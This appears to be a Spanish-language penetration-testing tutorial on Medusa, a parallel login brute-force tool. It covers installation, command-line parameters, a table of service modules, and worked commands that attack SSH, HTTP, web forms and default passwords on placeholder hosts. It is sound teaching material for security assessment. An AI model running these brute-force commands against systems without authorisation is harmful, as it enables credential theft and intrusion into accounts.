Saltar a contenido

Medusa


Medusa, una herramienta destacada en el arsenal de ciberseguridad, está diseñada para ser rápida, altamente paralela y modular en ataques de fuerza bruta para inicios de sesión. Su objetivo principal es soportar una amplia variedad de servicios que permiten autenticación remota, ayudando a los penetration testers y profesionales de la seguridad a evaluar la resistencia de los sistemas de inicio de sesión frente a ataques de fuerza bruta.

Installation

Medusa a menudo viene preinstalada en las distribuciones populares de penetration testing. Puedes verificar su presencia ejecutando:

medusa -h

Instalar Medusa en un sistema Linux es sencillo.

sudo apt-get -y update
sudo apt-get -y install medusa

Command Syntax and Parameter Table

La interfaz de línea de comandos de Medusa es directa. Permite a los usuarios especificar hosts, usuarios, contraseñas y módulos con varias opciones para ajustar el proceso de ataque.

medusa [target_options] [credential_options] -M module [module_options]
Parámetro Explicación Ejemplo de Uso
-h HOST o -H FILE Opciones de objetivo: Especifica un solo nombre de host o dirección IP (-h) o un archivo con una lista de objetivos (-H). medusa -h 192.168.1.10 ... o medusa -H targets.txt ...
-u USERNAME o -U FILE Opciones de nombre de usuario: Proporciona un solo nombre de usuario (-u) o un archivo con una lista de nombres de usuario (-U). medusa -u admin ... o medusa -U usernames.txt ...
-p PASSWORD o -P FILE Opciones de contraseña: Especifica una sola contraseña (-p) o un archivo con una lista de contraseñas (-P). medusa -p password123 ... o medusa -P passwords.txt ...
-M MODULE Módulo: Define el módulo específico a utilizar para el ataque (e.g., ssh, ftp, http). medusa -M ssh ...
-m "MODULE_OPTION" Opciones de módulo: Proporciona parámetros adicionales requeridos por el módulo elegido, encerrados entre comillas. medusa -M http -m "POST /login.php HTTP/1.1\r\nContent-Length: 30\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\nusername=^USER^&password=^PASS^" ...
-t TASKS Tareas: Define el número de intentos de inicio de sesión paralelos, acelerando potencialmente el ataque. medusa -t 4 ...
-f o -F Modo rápido: Detiene el ataque después de encontrar el primer inicio de sesión exitoso, ya sea en el host actual (-f) o en cualquier host (-F). medusa -f ... o medusa -F ...
-n PORT Puerto: Especifica un puerto no predeterminado para el servicio objetivo. medusa -n 2222 ...
-v LEVEL Salida detallada: Muestra información detallada sobre el progreso del ataque. Cuanto mayor sea el LEVEL (hasta 6), más detallada será la salida. medusa -v 4 ...

Medusa Modules

Cada módulo en Medusa está diseñado para interactuar con mecanismos de autenticación específicos, permitiendo enviar solicitudes apropiadas e interpretar las respuestas para ataques exitosos. A continuación, se muestra una tabla de los módulos más utilizados:

Módulo Medusa Servicio/Protocolo Descripción Ejemplo de Uso
FTP File Transfer Protocol Fuerza bruta en credenciales de inicio de sesión FTP, utilizado para transferencias de archivos en red. medusa -M ftp -h 192.168.1.100 -u admin -P passwords.txt
HTTP Hypertext Transfer Protocol Fuerza bruta en formularios de inicio de sesión de aplicaciones web sobre HTTP (GET/POST). medusa -M http -h www.example.com -U users.txt -P passwords.txt -m DIR:/login.php -m FORM:username=^USER^&password=^PASS^
IMAP Internet Message Access Protocol Fuerza bruta en inicios de sesión IMAP, utilizado para acceder a servidores de correo. medusa -M imap -h mail.example.com -U users.txt -P passwords.txt
MySQL MySQL Database Fuerza bruta en credenciales de bases de datos MySQL, comúnmente utilizadas en aplicaciones web. medusa -M mysql -h 192.168.1.100 -u root -P passwords.txt
POP3 Post Office Protocol 3 Fuerza bruta en inicios de sesión POP3, típicamente utilizado para recuperar correos electrónicos de un servidor. medusa -M pop3 -h mail.example.com -U users.txt -P passwords.txt
RDP Remote Desktop Protocol Fuerza bruta en inicios de sesión RDP, utilizado para acceso remoto a sistemas Windows. medusa -M rdp -h 192.168.1.100 -u admin -P passwords.txt
SSHv2 Secure Shell (SSH) Fuerza bruta en inicios de sesión SSH, utilizado para acceso remoto seguro. medusa -M ssh -h 192.168.1.100 -u root -P passwords.txt
Subversion (SVN) Version Control System Fuerza bruta en repositorios SVN para control de versiones. medusa -M svn -h 192.168.1.100 -u admin -P passwords.txt
Telnet Telnet Protocol Fuerza bruta en servicios Telnet para ejecución remota de comandos en sistemas antiguos. medusa -M telnet -h 192.168.1.100 -u admin -P passwords.txt
VNC Virtual Network Computing Fuerza bruta en credenciales de inicio de sesión VNC para acceso remoto al escritorio. medusa -M vnc -h 192.168.1.100 -P passwords.txt
Web Form Formularios Web Fuerza bruta en formularios de inicio de sesión de sitios web usando solicitudes HTTP POST. medusa -M web-form -h www.example.com -U users.txt -P passwords.txt -m FORM:"username=^USER^&password=^PASS^:F=Invalid"

Targeting an SSH Server

Imagina un escenario en el que necesitas probar la seguridad de un servidor SSH en 192.168.0.100. Tienes una lista de posibles nombres de usuario en usernames.txt y contraseñas comunes en passwords.txt. Para lanzar un ataque de fuerza bruta contra el servicio SSH en este servidor, utiliza el siguiente comando de Medusa:

medusa -h 192.168.0.100 -U usernames.txt -P passwords.txt -M ssh 

Este comando instruye a Medusa para:

  • Apuntar al host en 192.168.0.100.
  • Usar los nombres de usuario del archivo usernames.txt.
  • Probar las contraseñas listadas en el archivo passwords.txt.
  • Utilizar el módulo ssh para el ataque.

Medusa intentará sistemáticamente cada combinación de nombre de usuario y contraseña contra el servicio SSH para intentar obtener acceso no autorizado.

Targeting Multiple Web Servers with Basic HTTP Authentication

Supongamos que tienes una lista de servidores web que utilizan autenticación básica HTTP. Las direcciones de estos servidores están almacenadas en web_servers.txt, y también tienes listas de nombres de usuario comunes y contraseñas en usernames.txt y passwords.txt, respectivamente. Para probar estos servidores de manera concurrente, ejecuta:

medusa -H web_servers.txt -U usernames.txt -P passwords.txt -M http -m GET 

En este caso, Medusa:

  • Iterará a través de la lista de servidores web en web_servers.txt.
  • Usará los nombres de usuario y contraseñas proporcionados.
  • Utilizará el módulo http con el método GET para intentar inicios de sesión.

Al ejecutar múltiples hilos, Medusa verifica eficientemente cada servidor en busca de credenciales débiles.

Testing for Empty or Default Passwords

Si deseas evaluar si alguna cuenta en un host específico (10.0.0.5) tiene contraseñas vacías o predeterminadas (donde la contraseña coincide con el nombre de usuario), puedes usar:

medusa -h 10.0.0.5 -U usernames.txt -e ns -M service_name

Este comando instruye a Medusa para:

  • Apuntar al host en 10.0.0.5.
  • Usar los nombres de usuario del archivo usernames.txt.
  • Realizar verificaciones adicionales para contraseñas vacías (-e n) y contraseñas que coincidan con el nombre de usuario (-e s).
  • Usar el módulo de servicio apropiado (reemplazar service_name con elnombre del módulo correcto).

Medusa probará cada nombre de usuario con una contraseña vacía y luego con la contraseña que coincida con el nombre de usuario, potencialmente revelando cuentas con configuraciones débiles o predeterminadas.